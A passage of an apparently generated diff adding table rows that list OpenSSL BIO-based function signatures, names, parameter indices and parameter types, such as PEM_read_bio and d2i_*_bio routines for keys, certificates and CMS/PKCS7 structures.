CMS_ContentInfo ** | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 2 | pem_password_cb * | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | void * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 3 | int | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 3 | int | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 3 | int | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 0 | BIO * | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 1 | DH ** | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 2 | pem_password_cb * | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | void * | +| (BIO *,DSA **) | | d2i_DSAPrivateKey_bio | 0 | BIO * | +| (BIO *,DSA **) | | d2i_DSAPrivateKey_bio | 1 | DSA ** | +| (BIO *,DSA **) | | d2i_DSA_PUBKEY_bio | 0 | BIO * | +| (BIO *,DSA **) | | d2i_DSA_PUBKEY_bio | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | void * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | void * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | void * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 0 | BIO * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 1 | EC_GROUP ** | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 2 | pem_password_cb * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | void * | +| (BIO *,EC_KEY **) | | d2i_ECPrivateKey_bio | 0 | BIO * | +| (BIO *,EC_KEY **) | | d2i_ECPrivateKey_bio | 1 | EC_KEY ** | +| (BIO *,EC_KEY **) | | d2i_EC_PUBKEY_bio | 0 | BIO * | +| (BIO *,EC_KEY **) | | d2i_EC_PUBKEY_bio | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 0 | BIO * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 2 | pem_password_cb * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | void * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 0 | BIO * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 2 | pem_password_cb * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | void * | +| (BIO *,EVP_PKEY **) | | PEM_read_bio_Parameters | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | PEM_read_bio_Parameters | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **) | | d2i_PUBKEY_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | d2i_PUBKEY_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **) | | d2i_PrivateKey_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | d2i_PrivateKey_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 3 | const char * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 3 | const char * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 3 | const char * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 5 | const char * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 5 | const char * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 0 | BIO * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 1 | GENERAL_NAMES * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | int | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 0 | BIO * | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 1 | NETSCAPE_CERT_SEQUENCE ** | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 2 | pem_password_cb * | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | void * | +| (BIO *,NETSCAPE_SPKI *) | | NETSCAPE_SPKI_print | 0 | BIO * | +| (BIO *,NETSCAPE_SPKI *) | | NETSCAPE_SPKI_print | 1 | NETSCAPE_SPKI * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 0 | BIO * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 1 | OCSP_REQUEST * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | unsigned long | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 0 | BIO * | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 1 | OCSP_RESPONSE * | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | unsigned long | +| (BIO *,OSSL_CMP_MSG **) | | d2i_OSSL_CMP_MSG_bio | 0 | BIO * | +| (BIO *,OSSL_CMP_MSG **) | | d2i_OSSL_CMP_MSG_bio | 1 | OSSL_CMP_MSG ** | +| (BIO *,PKCS7 *) | | BIO_new_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 *) | | BIO_new_PKCS7 | 1 | PKCS7 * | +| (BIO *,PKCS7 **) | | d2i_PKCS7_bio | 0 | BIO * | +| (BIO *,PKCS7 **) | | d2i_PKCS7_bio | 1 | PKCS7 ** | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 1 | PKCS7 ** | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 2 | pem_password_cb * | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | void * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 3 | int | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 3 | int | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 3 | int | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 0 | BIO * | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 1 | PKCS7 * | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 2 | PKCS7_SIGNER_INFO * | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 3 | X509 * | +| (BIO *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_bio | 0 | BIO * | +| (BIO *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_bio | 1 | PKCS8_PRIV_KEY_INFO ** | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 0 | BIO * | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 1 | PKCS8_PRIV_KEY_INFO ** | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 2 | pem_password_cb * | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | void * | +| (BIO *,PKCS12 **) | | d2i_PKCS12_bio | 0 | BIO * | +| (BIO *,PKCS12 **) | | d2i_PKCS12_bio | 1 | PKCS12 ** | +| (BIO *,RSA **) | | d2i_RSAPrivateKey_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSAPrivateKey_bio | 1 | RSA ** | +| (BIO *,RSA **) | | d2i_RSAPublicKey_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSAPublicKey_bio | 1 | RSA ** | +| (BIO *,RSA **) | | d2i_RSA_PUBKEY_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSA_PUBKEY_bio | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | void * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | void * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | void * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 0 | BIO * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 1 | SSL_SESSION ** | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 2 | pem_password_cb * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | void * | +| (BIO *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_bio | 0 | BIO * | +| (BIO *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_bio | 1 | TS_MSG_IMPRINT ** | +| (BIO *,TS_REQ *) | | TS_REQ_print_bio | 0 | BIO * | +| (BIO *,TS_REQ *) | | TS_REQ_print_bio | 1 | TS_REQ * | +| (BIO *,TS_REQ **) | | d2i_TS_REQ_bio | 0 | BIO * | +| (BIO *,TS_REQ **) | | d2i_TS_REQ_bio | 1 | TS_REQ ** | +| (BIO *,TS_RESP *) | | TS_RESP_print_bio | 0 | BIO * | +| (BIO *,TS_RESP *) | | TS_RESP_print_bio | 1 | TS_RESP * | +| (BIO *,TS_RESP **) | | d2i_TS_RESP_bio | 0 | BIO * | +| (BIO *,TS_RESP **) | | d2i_TS_RESP_bio | 1 | TS_RESP ** | +| (BIO *,TS_TST_INFO *) | | TS_TST_INFO_print_bio | 0 | BIO * | +| (BIO *,TS_TST_INFO *) | | TS_TST_INFO_print_bio | 1 | TS_TST_INFO * | +| (BIO *,TS_TST_INFO **) | | d2i_TS_TST_INFO_bio | 0 | BIO * | +| (BIO *,TS_TST_INFO **) | | d2i_TS_TST_INFO_bio | 1 | TS_TST_INFO ** | +| (BIO *,X509 *) | | X509_print | 0 | BIO * | +| (BIO *,X509 *) | | X509_print | 1 | X509 * | +| (BIO *,X509 **) | | d2i_X509_bio | 0 | BIO * | +| (BIO *,X509 **) | | d2i_X509_bio | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 0 | BIO * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 2 | pem_password_cb * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | void * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 0 | BIO * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 2 | pem_password_cb * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | void * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 0 | BIO * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 1 | X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 2 | stack_st_X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 3 | EVP_PKEY * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 4 | unsigned int | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 5 | stack_st_X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 6 | const EVP_CIPHER * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 7 | unsigned int | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 8 | OSSL_LIB_CTX * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 9 | const char * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 0 | BIO * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 1 | X509 * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | unsigned long | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 0 | BIO * | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 1 | X509 * | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 2 | unsigned long | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 3 | unsigned long | +| (BIO *,X509_ACERT *) | | X509_ACERT_print | 0 | BIO * | +| (BIO *,X509_ACERT *) | | X509_ACERT_print | 1 | X509_ACERT * | +| (BIO *,X509_ACERT **) | | d2i_X509_ACERT_bio | 0 | BIO * | +| (BIO *,X509_ACERT **) | | d2i_X509_ACERT_bio | 1 | X509_ACERT ** | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 0 | BIO * | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 1 | X509_ACERT ** | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 2 | pem_password_cb * | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | void * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 0 | BIO * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 1 | X509_ACERT * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 2 | unsigned long | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 3 | unsigned long | +| (BIO *,X509_CRL *) | | X509_CRL_print | 0 | BIO * | +| (BIO *,X509_CRL *) | | X509_CRL_print | 1 | X509_CRL * | +| (BIO *,X509_CRL **) | | d2i_X509_CRL_bio | 0 | BIO * | +| (BIO *,X509_CRL **) | | d2i_X509_CRL_bio | 1 | X509_CRL ** | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 0 | BIO * | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 1 | X509_CRL ** | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 2 | pem_password_cb * | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | void * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 0 | BIO * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 1 | X509_CRL * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | unsigned long | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 0 | BIO * | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 1 | X509_EXTENSION * | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 2 | unsigned long | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 3 | int | +| (BIO *,X509_PUBKEY **) | | d2i_X509_PUBKEY_bio | 0 | BIO * | +| (BIO *,X509_PUBKEY **) | | d2i_X509_PUBKEY_bio | 1 | X509_PUBKEY ** | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 0 | BIO * | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 1 | X509_PUBKEY ** | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 2 | pem_password_cb * | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | void * | +| (BIO *,X509_REQ *) | | X509_REQ_print | 0 | BIO * | +| (BIO *,X509_REQ *) | | X509_REQ_print | 1 | X509_REQ * | +| (BIO *,X509_REQ **) | | d2i_X509_REQ_bio | 0 | BIO * | +| (BIO *,X509_REQ **) | | d2i_X509_REQ_bio | 1 | X509_REQ ** | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 0 | BIO * | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 1 | X509_REQ ** | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 2 | pem_password_cb * | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | void * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 0 | BIO * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 1 | X509_REQ * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 2 | unsigned long | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 3 | unsigned long | +| (BIO *,X509_SIG **) | | d2i_PKCS8_bio | 0 | BIO * | +| (BIO *,X509_SIG **) | | d2i_PKCS8_bio | 1 | X509_SIG ** | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 0 | BIO * | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 1 | X509_SIG ** | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 2 | pem_password_cb * | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | void * | +| (BIO *,char *) | | BIO_set_callback_arg | 0 | BIO * | +| (BIO *,char *) | | BIO_set_callback_arg | 1 | char * | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 0 | BIO * | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 1 | char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 2 | char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 3 | unsigned char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | 